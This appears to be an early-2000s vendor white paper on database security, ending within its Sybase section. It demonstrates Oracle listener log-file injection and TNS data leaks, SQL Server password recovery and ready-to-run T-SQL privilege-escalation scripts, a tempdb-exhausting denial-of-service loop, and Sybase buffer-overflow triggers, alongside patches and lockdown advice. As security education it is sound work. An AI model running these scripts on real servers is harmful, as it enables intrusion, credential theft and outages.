

Database Security

A Key Component of Application Security

APPLICATION SECURITY, INC.
WEB: WWW.APPSECINC.COM
E-MAIL: INFO@APPSECINC.COM
TEL: 1-866-9APPSEC • 1-212-947-8787

INTRODUCTION	3
CURRENT DATABASE SECURITY ENVIRONMENT.....	3
UNDERSTANDING VULNERABILITIES	4
Vendor Bugs	4
Poor Architecture	4
Misconfigurations	4
Incorrect Usage	4
ORACLE SECURITY	5
Listener Service	5
Listener Security is Not Database Security	5
Known Listener Problems.....	5
TNS Leaks Data to Attacker	7
Buffer Overflow in Listener.....	8
MICROSOFT SQL SERVER SECURITY	9
Collecting Passwords	9
SQL Agent Password.....	9
DTS Package Passwords.....	11
Replication Passwords	11
Elevating Privileges	12
Global Temporary Stored Procedures.....	12
Database Ownership Permissions Chain	13
Causing a Denial of Service.....	16
Recommendations.....	16
SYBASE DATABASE SECURITY	17
Sybase DBCC CHECKVERIFY Buffer Overflow.....	17
Sybase DROP DATABASE Buffer Overflow Vulnerability.....	17
Sybase xp_freedll Buffer Overflow Vulnerability.....	18
IBM DB2 SECURITY	21
Authentication Types.....	21
Default IBM DB2 Username and Passwords.....	22
Locking down on IBM DB2 database privileges.....	23
Install all of the latest FixPacks for IBM DB2	23
IBM DB2 Control Center buffer overflow	24
db2ckpw buffer overflow.....	24
IBM DB2 Query compiler DoS	25
IBM DB2 Date/Varchar DoS.....	26
SQL INJECTION.....	27
SQL INJECTION SAMPLE1	27
SQL INJECTION SAMPLE2.....	29
PREVENTING SQL INJECTION	30
DATABASE WORMS	30
CONCLUSION.....	31
About Application Security, Inc. (AppSecInc).....	33

INTRODUCTION

One of the more recent evolutions in network security has been the movement away from protecting the perimeter of the network to protecting data at the source. The reason behind this change has been that perimeter security no longer works in today's environment. Today, more than just your employees need access to data. Essentially, partners and customers must have access to this data as well meaning that your database cannot simply be hidden behind a firewall.

Of course, as your databases become more exposed to Internet, it is imperative that you properly secure them from attacks from the outside world. Securing your databases involves not only establishing a strong policy, but also establishing adequate access controls. In this paper, we will cover various ways databases are attacked, and how to prevent them from being "hacked".

CURRENT DATABASE SECURITY ENVIRONMENT

It is very easy in the security community to create an air of fear, uncertainty, and doubt (FUD). As both security and database professionals, it is important to see through the FUD, determine the actual risks, and investigate what can be done about the situation. The truth is most databases are configured in a way they can be broken into relatively easily. However, this is not to say that databases cannot be made properly secured. It is the information to properly lock down these databases that has not been made available, and that the proper lockdown procedures have not been taken.

On the other hand, the number of databases compromised so far has not been nearly on the scale that we have seen web servers being attacked and compromised. The reasons for this are several:

- ❑ There are less databases than web servers
- ❑ Knowledge of database security has been limited
- ❑ Getting a version of enterprise databases to learn and test on was difficult
- ❑ Databases were traditionally behind a firewall

All of the above has changed significantly over the past few years.

First, there is an increasing interest for databases in the Black Hat hacker community. The number of talks on database security has grown significantly over the past few years at the Defcon (www.defcon.org) and Black Hat (www.blackhat.com) conferences. The number of database exploits reported on security news groups such as SecurityFocus™ (www.securityfocus.com) has increased significantly.

Next, downloading database software has also become much simpler. All of the latest versions are available for download from each vendor's respective websites for anyone with a fast enough Internet connection. Also, for each of the major platforms profiled within this white paper, the installation process has become increasingly simple in design.

Lastly, the increasing number of threats against databases is not going to cause the end of the world. However, it is necessary for us to start taking database security seriously by taking a proactive approach to understand the risks and lockdown procedures.

UNDERSTANDING VULNERABILITIES

In order to understand vulnerabilities, we should start by describing the various classes of vulnerabilities:

- ❑ Vendor bugs
- ❑ Poor architecture
- ❑ Misconfigurations
- ❑ Incorrect usage

VENDOR BUGS

Vendor bugs are buffer overflows and other programming errors that result in users executing the commands they are allowed to execute. Downloading and applying patches usually fix vendor bugs. To ensure you are not vulnerable to one of these problems, you must stay aware of the patches, and install them immediately when they are released.

POOR ARCHITECTURE

Poor architecture is the result of not properly factoring security into the design of how an application works. These vulnerabilities are typically the hardest to fix because they require a major rework by the vendor. An example of poor architecture would be when a vendor utilizes a weak form of encryption.

MISCONFIGURATIONS

Misconfigurations are caused by not properly locking down databases. Many of the configuration options of databases can be set in a way that compromises security. Some of these parameters are set insecurely by default. Most are not a problem unless you unsuspectingly change the configuration. An example of this in Oracle is the REMOTE_OS_AUTHENT parameter. By setting REMOTE_OS_AUTHENT to true, you are allowing unauthenticated users to connect to your database.

INCORRECT USAGE

Incorrect usage refers to building applications utilizing developer tools in ways that can be used to break into a system. SQL INJECTION is an example of incorrect usage.

ORACLE SECURITY

This section will discuss Oracle security and demonstrate some known ways to penetrate a database using security holes.

LISTENER SERVICE

A good place to start delving into Oracle security is the Listener service - a single component in the Oracle subsystem. The listener service is a proxy that sets up the connection between the client and the database. The client directs a connection to the listener, which in turn hands the connection off to the database.

One of the security concerns of the listener is that it uses a separate authentication system. It is controlled and administered outside of the database, and runs in a separate process under the context of a privileged account such as 'oracle'. The listener accepts commands and performs other tasks besides handing connections to the database.

LISTENER SECURITY IS NOT DATABASE SECURITY

Why is the separation of listener and database security a potential problem? There are a few reasons.

First, most people do not even realize that a password must be set on the listener service. The listener service can be remotely administered just as it can be administered locally. This is not a feature that is clearly documented, and is not well known by most database administrators.

Secondly, setting the password on the listener service is not straightforward. Several of the Oracle8i versions of the listener controller contain a bug that causes it to crash when attempting to set a password. You can manually set the password in the "listener.ora" configuration file, but most people do not know how, nor do they have any idea that they should. The password itself is either stored in clear text or as a password hash in the listener.ora file. If it's hashed, setting the password in the listener.ora file manually cannot be performed. If it is in clear text, anyone with access to read the \$ORACLE_HOME/network/admin directory will be able to read the password.

KNOWN LISTENER PROBLEMS

So what are the known problems with the listener services? To investigate these problems, let us pull up the listener controller, and run the 'help' command. This gives us a list of the commands that we have at our disposal.

To start the listener controller from UNIX, enter the following command at a UNIX shell:

```
$ORACLE_HOME/bin/lsnrctl
```

To list the commands available from the listener controller, run the following command at the listener controller prompt:

```
LSNRCTL for 32-bit Windows: Version 8.1.7.0.0 - Production on 04-JUN-2001  
10:42:14
```

```
(c) Copyright 1998 Oracle Corporation. All rights reserved.  
Welcome to LSNRCTL, type "help" for information.
```

```
LSNRCTL> help
The following operations are available
An asterisk (*) denotes a modifier or extended command:
```

start	stop	status
services	version	reload
save_config	trace	db snmp_start
db snmp_stop	db snmp_status	change_password
quit	exit	set*
show*		

Notice within the above example, two of the commands with the asterisks after them – set and show. We can list the possible extended commands for these commands as well:

```
LSNRCTL> help set

password          rawmode          displaymode
trc_file          trc_directory   trc_level
log_file          log_directory   log_status
current_listener connect_timeout  startup_waittime
use_plugandplay  save_config_on_stop
```

Note the command ‘set password’. This command is utilized to log us onto a listener. There are a couple of problems with this password:

- ❑ There is no lockout functionality for this password
- ❑ The auditing of these commands is separate from the standard Oracle audit data
- ❑ The password does not expire. Basically, there are no password management features for the listener password.

This means that it is not very difficult to write a simple script to brute force this password even if a strong password is being utilized.

Another problem is that the connection process to the listener is not based on a “challenge-response” protocol. Basically, whatever you send across the wire is in clear text. Of course, if you look at the traffic you might notice that a password hash is sent across the wire, but this password hash is actually a password equivalent - and knowledge of it is enough to login.

So what can a hacker accomplish once they have the listener password? There is an option to log the data sent to the listener to an operating system file. Once you have the password, you can set which file the logging data is written, such as .profile, .rhosts, or autoexec.bat. Below is an example command sent to the listener service:

```
CONNECT_DATA=(COMMAND=ping)
```

Instead a hacker can send a packet containing a maliciously constructed payload such as below.

- ❑ "+ +" if the log file has been set to .rhosts

- ❑ "\$ORACLE_HOME/bin/svrmgrl" followed by "CONNECT INTERNAL" and "ALTER USER SYS IDENTIFIED BY NEW_PASSWORD" if the log file has been set to .profile.

Oracle released a patch for this issue, which basically provides a configuration option you can set which will not allow parameters to be reloaded dynamically. By setting the option, you disable a hacker's ability to change the log_file value. Of course if you do not set this option, this problem is not fixed. By default, this option is not set. It is essentially the database administrator's responsibility to recognize and fix this problem.

TNS LEAKS DATA TO ATTACKER

Another problem with the listener service is that it leaks information. James Abendschan first made this problem public. A full description can be found at:

<http://www.jammed.com/~jwa/hacks/security/tnscmd/tns-advisory.txt>

The format of a listener packet resembles the following:

```
TNS Header - Size of packet - Protocol Version - Length of Command - Actual
Command
```

If you create a packet with an incorrect value in the 'size of packet' field, the listener will return to you any data in its command buffer up to the size of the buffer you sent. In other words, if the previous command submitted by another user was 100 characters long, and the command you send is 10 characters long, the first 10 character will be copied over by the listener, it will not correctly null terminate the command, and it will return your command plus the last 90 characters of the previous command.

For example, a typical packet sent to the listener looks like the following:

```
.T.....6.,.....:.....4..... (CONNECT_DATA=.)
```

In this case we are sending a 16-byte command – (CONNECT_DATA=.). One of the periods is actually the hex representation of the value 16, which indicates the command length. Instead we can change 16 to 32 and observe the results. Below is the response packet:

```
.....".... (DESCRIPTION= (ERR=1153) (VSNNUM=135290880) (ERROR_STACK= (ERROR= (CODE=11
53) (EMFI=4) (ARGS=' (CONNECT_DATA=.)ervices) )CONNECT')) (ERROR= (CODE=303) (EMFI=1))
)
```

The return packets indicate that Oracle does not understand our command, and the command it does not understand is returned in the 'ARGS' value seen in the above example. Notice that the 'ARGS' value is as follows:

```
(CONNECT_DATA=.)ervices) )CONNECT
```

The 'ARGS' value returned our command plus an additional 16 characters. At this point it is not clear what the last 16 bytes are. So we then try to "up the lie" and tell the listener our command is 200 bytes long. Below is the return value we get from the listener:

```
....."....>.H.....@ (DESCRIPTION= (ERR=1153) (VSNNUM=135290880) (ERROR_STACK=
(ERROR=(CODE=1153) (EMFI=4) (ARGS=' (CONNECT_DATA=.)ervices))CONNECT_DATA=(SID=
orcl) (global_dbname=test.com) (CID=(PROGRAM=C:\Oracle\bin\sqlplus.exe) (HOST=h
ost123) (USER=user1)) ')) (ERROR=(CODE=303) (EMFI=1)))
```

Notice this time the 'ARGS' parameter is a little longer:

```
(CONNECT_DATA=.)ervices))CONNECT_DATA=(SID=orcl) (global_dbname=test.com) (CID
=(PROGRAM=C:\Oracle\bin\sqlplus.exe) (HOST=host123) (USER=user1))
```

Now it is a bit clearer what is being returned – previous commands submitted by other users to the database. Notice that the HOST and USER name of the other user is displayed in this buffer.

This information is useful to an attacker in several ways. It can be used to gather a list of database usernames. An attacker can continually retrieve the buffer, and in a matter of a few days, retrieve a list of all the users that have logged in during that time. Now imagine if the database administrator logs into the database using the listener password of which you can retrieve from the buffer.

This problem has been fixed in the latest patch sets (patchset 2 for Oracle version 8.1.7). It is also a good idea to deal with this problem by limiting access to connect to Oracle using a firewall or other packet filtering device.

BUFFER OVERFLOW IN LISTENER

Using the same techniques from the previous vulnerability, we can send a large connection string to the listener. If the packet contains more than 1 kilobyte of data, the listener crashes. Using a connection string of 4 kilobytes results in a core dump. The following is an example of what this packet would look like:

```
.T.....6.,.....:.....4..... (CONNECT_DATA=
XXXXXXXXXXXXXXXXXXXX<snip>XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX/0x12/0x54/0x5/0x34/0x12/0x
54/0x5/0x34/0x12/0x54/0x5/0x34/0x12/0x54/0x5/0x34/0x12/0x54/0x5/0x34/0x12/0x54/0x5/0x34/0x12/0x
54/0x5/0x34/0x12/0x54/0x5/0x34)
```

In the above example, we have clipped most of the “Xs”. The funny characters at the end of the command are opcodes. Opcodes are low-level machine commands used by the hacker to inject commands that will run on the database. By overflowing the stack with all the Xs, an attacker can cause the execution of arbitrary code by manipulating the SEH (Structured Exception Handling) mechanism.

This vulnerability caused quite a stir in June and July of 2001. Patches were not released immediately for all platforms, and not at all for “non-terminal” release versions of Oracle. This resulted in many databases that were exposed for an extended period of time.

MICROSOFT SQL SERVER SECURITY

This section will discuss a number of recently discovered vulnerabilities in Microsoft SQL Server and will demonstrate the techniques used to find these security holes.

COLLECTING PASSWORDS

When SQL Server is running using mixed-mode authentication, login passwords are saved in various locations. Some passwords are saved using strong encryption and permissions (such as the passwords saved in master.dbo.sysxlogins), but many of them are saved using weak encryption (most accurately referred to as encoding) and weak default permissions. You may be asking, “Why are passwords saved with weak encryption?” The reason is that these passwords must later be extracted and used by SQL Server to establish connections with itself and other SQL Servers. This occurs during many of the batch processes that SQL Server relies on, including replication, jobs scheduled through the SQL Agent, and DTS packages.

Using various techniques, such as examining system tables and stored procedures or even through running tools such as SQL Profiler, it can be determined where and how these passwords are saved. Typically system tables that hold these passwords are properly secure, that is only if dbo has permissions to select from the table. There are, however, system stored procedures that access these tables - so looking at these stored procedures is a good place to start.

SQL AGENT PASSWORD

Start by looking at the SQL Agent configuration from within SQL Enterprise Manager. Select the node <SQLServerName>Management\SQL Server Agent. Click the right mouse button and select Properties from the popup menu. Within the “Connection” tab you will see that the SQL Server Agent can be configured to connect using standard SQL Server authentication with a login in the sysadmin role. This information must be saved some place in order for SQL Agent to later access the password and connect to the SQL Server, so we start a new trace in SQL Profiler to see what happens behind the scenes. Set the login to “sa” and set the password to “a”. The difference between the two SQL statements in SQL Profiler can now be seen:

```
EXECUTE msdb.dbo.sp_set_SQLagent_properties
    @host_login_name = 'sa',
    @host_login_password =
0x6e1c7e83d0a487d623fc7cd689b8e702cc416bcd8d18c28ee0a4ba37c97ccfb5
```

Performing the same action but setting a password of “aaaaaaaaaa”, we execute the following statement.

```
EXECUTE msdb.dbo.sp_set_SQLagent_properties
    @host_login_name = 'sa',
    @host_login_password =
0x6e1c1f1b809cb8a1a1acd3c2cb1cce7e0a099592a03ab7979f196de0b6898deb
```

The encrypted password is passed to the stored procedure sp_set_SQLagent_properties. In the stored procedure the following is shown:

```
EXECUTE master.dbo.xp_SQLagent_param 1, N'HostPassword', @host_login_password
```

The encrypted password is finally saved by the extended stored procedure xp_SQLagent_param. The question to ask now is “where is it saved?” It can be assumed that it is not saved in a system table because the

password is used to connect to SQL Server so the Agent would need to access the password before connecting to the database. Since it is not saved in a table then it is probably safe to assume that it is saved in the registry. Running Regmon.exe (Registry Monitor tool from <http://www.sysinternals.com/ntw2k/utilities.shtml>) can determine where it is saved and find that it is saved under the LSA Secrets key:

```
HKLM\security\policy\secrets\SQLSERVERAGENT_HostPassword\currval
```

Only the Windows LocalSystem account has permissions to access this registry key. Even Windows Administrators cannot access this area, although they can take ownership and give themselves permissions to these keys. Now that it is known where the encoded password is saved, how can it be retrieved when Enterprise Manager displays the SQL Agent properties? One thing that can be executed is to select the SQL Server Agent properties in Enterprise Manager again and record the SQL sent through SQL Profiler using the following statement:

```
EXECUTE msdb.dbo.sp_get_SQLagent_properties
```

Starting the SQL Query Analyzer will execute the query, and discover that most of the properties of the SQL Server Agent are returned together with the encrypted password. However, it is still unknown what users can execute `sp_get_SQLagent_properties`. To determine this, the following statement can be executed:

```
EXECUTE sp_helpprotect sp_get_SQLagent_properties
```

The results are as follows:

<u>Owner</u>	<u>Object</u>	<u>Grantee</u>	<u>Grantor</u>	<u>ProtectType</u>	<u>Action</u>	<u>Column</u>
dbo	sp_get_SQLagent_properties	public	dbo	Grant	Execute	.

Through the above illustration, a security hole is discovered that can be used by any user in the database. The next step is to figure out how to decrypt the encrypted password that was found:

The encrypted version of the password (a) is:

```
0x6e1c7e83d0a487d623fc7cd689b8e702cc416bcd8d18c28ee0a4ba37c97ccfb5
```

The encrypted version of the password (aaaaaaaa) is:

```
0x6e1c1f1b809cb8a1a1acd3c2cb1cce7e0a099592a03ab7979f196de0b6898deb
```

Upon a first analysis, it can be seen that the first two bytes are the same in both encrypted passwords. However, with further investigation, it is concluded that the encryption algorithm used is a simple XOR with a positional key depending on the previous character. With this new finding, a chosen plain-text attack knowing that the first character is always XOR'ed with a fixed key can be performed. Let's look for the function used by Enterprise Manager to encrypt the password. After some research, it is found that SEMCOMN.DLL (located in SQL Server Instance Binn folder) has a Decrypt() function that can be used to decrypt the password. With this, a simple program can be created to get the clear text password.

Now that the decrypt function produced a sysadmin role password, the server is ready and available for an "attack". With successfully gaining access, it is now feasible to obtain system or administrator privileges over the OS with additional attacks. This is possible because if the SQL Server Agent is configured to

connect to SQL Server using SQL Server authentication, then the SQL Server Agent must run under the LocalSystem account or an Administrator account in order to have permissions to successfully retrieve the encrypted password from the registry.

DTS PACKAGE PASSWORDS

DTS packages are another source of passwords (using the SQL Profiler). Select the following node from Enterprise Manager: <SQLServerName>\Data Transformation Services. Right click and select New Package from the popup menu. Then create and save a data transformation package. In the Save dialog choose a location to which to save the package (Meta Data Services – SQL Server – Visual Basic File – Structured Storage File). Choose Visual Basic File or Structured Storage File, and the DTS package will be saved in an operating system file.

First, let's examine the SQL Server options. After the location to save the package is selected, it can be seen in the SQL Profiler that msdb.dbo.sp_add_dtspackage is used to save the data (including the connection passwords) in msdb.dbo.sysdtspackages system table. Nevertheless, users in the public group cannot query this table. To circumvent this problem, it is discovered that several stored procedures can be executed by the group public - msdb.dbo.sp_enum_dtspackages and msdb.dbo.sp_get_dtspackage. The DTS package data is saved in an encrypted or encoded format in an image field named "packagedata". To decode this data, further research is needed.

A quick hack would be to retrieve the package data, insert it to your own SQL Server into the sysdtspackages table, and then open the package and extract the connection passwords from memory or from sniffing the wire by running the package. By doing this, it gives ample time in determining this password. Although it may take some time depending on the password strength, the DTS package (if password protected) can be brute-forced, ultimately opening the package and gaining the connection password retrieved.

With this newly gained access, a new DTS package can be created and saved into the Meta Data Services. By using the SQL Profiler, it can be seen that the DTS data is saved in many tables. And with further analysis, it is discovered that the most important data (the connection password) is saved in the table msdb.dbo.rtbldmbprops in the field col11120, thus yielding a new password uncovered.

REPLICATION PASSWORDS

Replication is also a way for additional passwords. When testing replication, the Registry Monitor is used because it can determine which registry keys are read from or written to. Upon execution, create a subscription to a merge publication by selecting the "On Demand Only" option in the "Set Merge Agent Schedule" screen. After finishing, look at Registry Monitor and notice that the SQLServr.exe process has written the following new registry key:

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL
Server\80\Replication\Subscriptions
```

Run regedit.exe and see the new key created is composed as:

```
Publisher (ServerName) : PublisherDb (DatabaseName) : Publication (PublicationName) : Sub
scriber (ServerName) : SubscriberDb (DatabaseName)
```

Look at the values under the key and find this value:

```
SubscriberEncryptedPasswordBinary
```

This value is the encrypted password used to connect to the Publisher server, however it can also be decrypted using the following SQL:

```
declare @password nvarchar(524)
set @password=encryptedpassword
exec master.dbo.xp_repl_help_connect @password OUTPUT
select @password
```

Once again, the password can be seen in clear text.

The encrypted password can also be discovered using TSQL:

```
exec master.dbo.xp_regread
    'HKEY_LOCAL_MACHINE',
    'SOFTWARE\Microsoft\Microsoft SQL Server\80\Replication\Subscriptions\
Publisher (ServerName) : PublisherDb (DatabaseName) : Publication (PublicationName) : Sus
criber (ServerName) : SubscriberDb (DatabaseName) ',
    'SubscriberEncryptedPasswordBinary'
```

Note that read permissions on the registry key have been granted to the Windows group 'Everyone', so any operating system user can get the value from the registry.

With further investigations, it is revealed that this particular situation (the password saved in registry) only occurs when the server is registered in Enterprise Manager and configured to authenticate using SQL Server authentication. Login passwords are also saved in the registry, if Windows Synchronization Manger is set to use SQL authentication when synchronizing subscriptions.

ELEVATING PRIVILEGES

Elevating privileges is needed if it is found that the account hacked into has a lower level of privileges on the system. If this discovery holds true, then privileges need to be elevated to those of a sysadmin. One way to elevate privileges could be using Trojan horse programs in SQL Server.

GLOBAL TEMPORARY STORED PROCEDURES

To do this, a member of the db_ddladmin database role needs to alter objects they do not own. It is straightforward to login when granted the db_ddladmin role to alter a dbo stored procedure inserting Trojan code using the following command:

```
alter proc dbo.gettables as
...previous statements here
sp_addrolemember 'db_owner', 'ddladminuser'
```

Then when a login granted the db_owner (or higher) role executes the stored procedure, the db_ddladmin user is granted the db_owner role.

With this in mind, the question now is what stored procedures can be altered by the user. The first idea that comes to mind is whether there is an issue with global temporary stored procedures (GTSP). GTSP can be created by any user and can be used by all user sessions. But what about altering a GTSP created by another user? To test this idea, try creating a GTSP using a login granted the sysadmin role.

```
create proc ##test as select 1
```

Then try to alter it using a login not granted sysadmin.

```
alter proc ##test as  
EXEC sp_addsrvrolemember 'user', 'sysadmin'  
select 1
```

As you can see, all users have full control over all other user's GTSP. This creates a significant issue with the integrity of the database server as a non-privileged user can Trojan a GTSP and wait for an administrator to execute the proc.

DATABASE OWNERSHIP PERMISSIONS CHAIN

A user cannot access a table if he or she does not have the appropriate permissions, but a table can be accessed using stored procedures or views created by the owner of the table if the user has permissions on the stored procedure or view. This happens when system stored procedures or views are used. An unprivileged user cannot access sysxlogins system table, but can access the syslogins view, except for the password field. Keeping that in mind, what happens if the user is the db_owner of any database and creates a stored procedure or view that queries the sysxlogins system table:

```
create proc dbo.test as select * from master.dbo.sysxlogins  
or  
create view dbo.test as select * from master.dbo.sysxlogins  
  
then  
  
exec test  
  
or  
  
select * from test
```

This procedure works because the 'sa' login is the database owner and also the 'sa' is mapped to the dbo user in the current database. Knowing this, the dbo prefix can be used when creating a stored procedure or view. When the query is executed, SQL Server looks at the owner of the stored procedure or view (the dbo user). It also checks the owner of the sysxlogins system table and because dbo (which maps to the 'sa' login) is the owner of both objects, SQL Server allows us to select from sysxlogins. SQL Server has failed to check that the database is not the same.

Note that a user granted the db_ddladmin role could do the same by altering a stored procedure or view owned by the dbo and then, if it has permissions on the altered object, execute the stored procedure or query the view. This works as well for user defined functions and triggers. For this to occur, the 'sa' login must be the database owner. If the dbo is not already mapped to the 'sa' login, it can be changed by the database owner taking over the current database owner role. However, doing so will remove us from the dbo, so it is necessary to find a way to get back to dbo again.

```
--make guest user member of db_owner role
exec sp_addrolemember 'db_owner','guest'

--change the database owner to 'sa' , this will make 'sa' database owner.
exec sp_changedbowner 'sa'

--create a dbo stored procedure to have select permissions on sysxlogins
exec sp_executeSQL
N'create proc dbo.test as select * from master.dbo.sysxlogins'

--get the results
exec dbo.test

--put the things back like before the hack

exec sp_changedbowner 'ourloggingoeshere'
exec sp_droprolemember 'db_owner','guest'
```

With the execution of the above functions, online brute forcing can now begin with the password hatches discovered previously.

Aware of the previous vulnerability, the option of creating a stored procedure that grants us login as the sysadmin fixed-server role can be considered. However, there is a problem that many of the system stored procedures that write to system tables check for role membership with the functions is_member() and is_srvrolemember(). Since these checks cannot be bypassed, this known vulnerability will not work. The question that now arises is "What if we attempt to access sysxlogins using a view?"

```
create view dbo.test as select * from master.dbo.sysxlogins
```

Using the dbo.test view, full access is gained to the sysxlogins system table, but the systems tables cannot be written to. Once again, a stored procedure that may help up do this work must be explored. We remember an issue discovered by Chris Anley with the stored procedure master.dbo.sp_msdropretry. This procedure is vulnerable to SQL injection and because it was created during installation can write to system tables.

```
--create a view to have write permissions
exec sp_executeSQL
N'create view dbo.test as select * from master.dbo.sysxlogins'

--set the xstatus field to 18 (sysadmin) to our login
exec sp_msdropretry
'anything update dbo.test set xstatus=18 where name= SUSER_SNAME()',
'anything'
```

```
--put the things back like before the hack
exec sp_executeSQL N'drop view dbo.test'
```

With the completion of this procedure, our login now has now been granted the sysadmin role.

Knowing that the system tables can be written to, what are the other possibilities?

Let's think about how SQL Server identifies logins. SQL Server uses a SID (security identification number) to identify a login in the server and in a database. SIDs are saved in the sysxlogins table in master database and in the sysusers table in each database. What can be done if could write directly to the sysusers table and change the SID of our login to a SID of (0x01) which maps to the 'sa' login. Let us try. If we are granted the db_owner role, the following command can be executed:

```
--create a view to have write permissions
exec sp_executeSQL
N'create view dbo.test as select * from master.dbo.sysxlogins'

--set the sid to 0x01 (sa login sid)
exec sp_msdroptetry
'anything update sysusers set sid=0x01 where name= ''dbo''',
'anything'

--set the xstatus field to 18 (sysadmin) to our login
exec sp_msdroptetry
'anything update dbo.test set xstatus=18 where name= SUSER_SNAME()',
'anything'

--put the things back like before the hack
exec sp_executeSQL N'drop view dbo.test'
exec sp_msdroptetry
'anything update sysusers set sid=SUSER_SID() where name=''dbo''',
'anything'

--if we are not the database owner, in the previous statement we should use
--SUSER_SID('DatabaseOwnerLogin')
```

Now we are granted the sysadmin role and doing so was more straightforward then previous techniques. This also works even if the 'sa' login or our login is not the database owner. This confirms that any use granted the db_owner role could become sysadmin.

This works because SQL Server was tricked into believing that we were the 'sa' login by changing the SID in the current database. This allows us to update the sysxlogins table. This attack also can be done by users granted the db_securityadmin, db_datawriter and db_ddladmin roles with a little additional work because a user granted the db_securityadmin role can grant itself write permissions on any table, a user granted the db_datawriter role has write permissions on all tables and a user granted the db_ddladmin role can alter objects that it does not own.

CAUSING A DENIAL OF SERVICE

Assuming that the server is tightly locked down, an attacker can also simply resort to crashing the server. As explained before, all users can create temporary stored procedures and tables. With that said, we are authorized to execute the following statements.

```
create table #tmp (x varchar(8000))
exec('insert into #tmp select ''X''')
while 1=1 exec('insert into #tmp select * from #tmp')
```

This will create a temporary table and will run an endless loop inserting values into the table. Temporary tables are created in the tempdb system database and, after some time, the tempdb database will grow until it consumes all system resources and causes the SQL Server instance to fail or crash.

RECOMMENDATIONS

- ❑ Keep SQL Server up to date with security fixes.
- ❑ Use Integrated Authentication.
- ❑ Disallow Cross-Database ownership chaining.
- ❑ Run SQL Server under a low privileged account.
- ❑ Set SQL Server Agent Alerts on critical issues.
- ❑ Run periodicals checks on all system and non system objects (tables, views, stored procedures, extended stored procedures) permissions.
- ❑ Run periodicals checks on users permissions.
- ❑ Audit as much as you can.

SYBASE DATABASE SECURITY

Sybase also has its own share of vulnerabilities to be aware of. For example, a non-patched version of Sybase Adaptive Server 12.5 has vulnerabilities that allow a non-privileged login to gain full control of the server:

SYBASE DBCC CHECKVERIFY BUFFER OVERFLOW

Sybase Adaptive Server provides a built-in function called DBCC CHECKVERIFY. This function is used to verify the results of the most recent run of dbcc checkstorage.

DBCC CHECKVERIFY accepts a single parameter that is the name of the database to check. DBCC CHECKVERIFY does not validate the length of the string passed into the first parameter. This buffer overflow may allow an attacker to run arbitrary code under the security context of the database.

Below is an example of overflowing the buffer using the SQL tool isql.exe:

```
1> declare @test varchar(16384)
2> select @test = replicate('A', 16384)
3> DBCC CHECKVERIFY(@test)
4> go
```

This exploit can be run by anyone that can connect to the server, not just database owners or system administrators. DBCC CHECKVERIFY is only meant to be run by privileged users, however if a non-privileged user runs this command, the buffer overflow occurs before any access control takes place. Therefore a non-privileged user can use this security hole to take complete control of a Sybase server.

Sybase 12.0 on UNIX does throw a FATAL error when executing the statement as a non-privileged user with a 255 character varchar, however it does not appear that it is exploitable on Sybase 12.0.

This vulnerability can be remedied by applying the following patch made available on November 14, 2002: 12.5.0.2

It can be downloaded from the following location:

<http://downloads.sybase.com/swd/swx>

SYBASE DROP DATABASE BUFFER OVERFLOW VULNERABILITY

The DROP DATABASE Buffer Overflow Vulnerability is another vulnerability affecting Sybase Adaptive Server 12.5 that allows a non-privileged login to gain full control of the server.

Sybase Adaptive Server provides a built-in function called DROP DATABASE. This function is used to remove a database from the server. DROP DATABASE accepts a single parameter that is the name of the database to remove. DROP DATABASE does not validate the length of the string passed into the first

parameter. This buffer overflow may allow an attacker to run arbitrary code under the security context of the database.

Below is an example of overflowing the buffer using the SQL tool isql.exe.

```
1> declare @test varchar(16384)
2> select @test = replicate('A', 16384)
3> DROP DATABASE @test
4> go
```

This exploit can be run by anyone that can connect to the server, not just database owners or system administrators. The command is DROP DATABASE. This is only meant to be run by privileged users, however if a non-privileged user runs this command, the buffer overflow occurs before any access control takes place. Therefore a non-privileged user can use this security hole to take complete control of a Sybase server.

This vulnerability can be addressed by applying the following patch made available on November 14, 2002: 12.5.0.2

These patches can be downloaded from <http://downloads.sybase.com/swd/swx>.

SYBASE XP_FREEDLL BUFFER OVERFLOW VULNERABILITY

Another vulnerability that is exploitable on both Sybase 12.5 and Sybase 12.0 for all platforms is a buffer overflow in xp_freedll. Despite the reference to Windows DLLs, this vulnerability does affect Sybase running on UNIX, and allows a non-privileged login to gain full control of the server

Sybase Adaptive Server provides an extended stored procedure (ESP) called xp_freedll in the database sybserverprocs. This ESP is used to release a DLL that has been loaded by another extended stored procedure.

Xp_freedll accepts a single parameter that is the name of the DLL to free. Xp_freedll does not validate the length of the string passed into the first parameter. It then attempts to copy an overly long string into a small memory buffer. This memory copy results in the stack and the stack pointer being overwritten with the buffer. Once the stack pointer is overwritten, execution can be redirected to an arbitrary location in memory and opcodes injected into the long string passed to the ESP can be executed. This allows the attacker to run arbitrary code under the security context of the extended stored procedure server.

Below is an example of overflowing the buffer using the SQL tool isql.exe:

Memory corruption first occurs with a buffer of length 45:

```
1> xp_freedll 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.dll'
2> GO
Msg 11496, Level 16, State 7:
```

Procedure 'xp_freedll', Line 2:
Cannot read from site 'MRFREEZE_XP'. Please check the XP Server error log file
for detailed error description. (return status = -6)

With a buffer of 53 bytes in length, an exception is thrown:

```
1> xp_freedll 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.dll'  
2> GO  
Encountered an exception(0) in ESP xp_freedll in DLL sybsyesp. If this is an  
user DLL check the code else contact Sybase Technical Support. (return status =  
1)
```

The following entries are recorded into the event logs:

11403: Encountered an exception(0) in ESP xp_freedll in DLL sybsyesp. If this is
a user DLL check the code else contact Sybase Technical Support.

11403: Encountered an exception(193) in ESP xp_freedll in DLL sybsyesp. If this
is an user DLL check the code else contact Sybase Technical Support.

11403: Encountered an exception(997) in ESP xp_freedll in DLL sybsyesp. If this
is an user DLL check the code else contact Sybase Technical Support.

At 54 bytes in length, the follow memory locations appear in the event logs:

11451: MRFREEZE_XP: XP Server Error: 16142/10/1: Server process address 0x696c6c
not in pool in 'srv_senddone()' .

11451: MRFREEZE_XP: XP Server Error: 16142/10/1: Server process address 0x696c6c
not in pool in 'srv_sendinfo()' .

11451: MRFREEZE_XP: XP Server Error: 16142/10/1: Server process address 0x696c6c
not in pool in 'srv_sendstatus' .

At 55 bytes in length, the follow memory locations appear in the event logs:

11451: MRFREEZE_XP: XP Server Error: 16142/10/1: Server process address
0x642e5858 not in pool in 'srv_senddone()' .

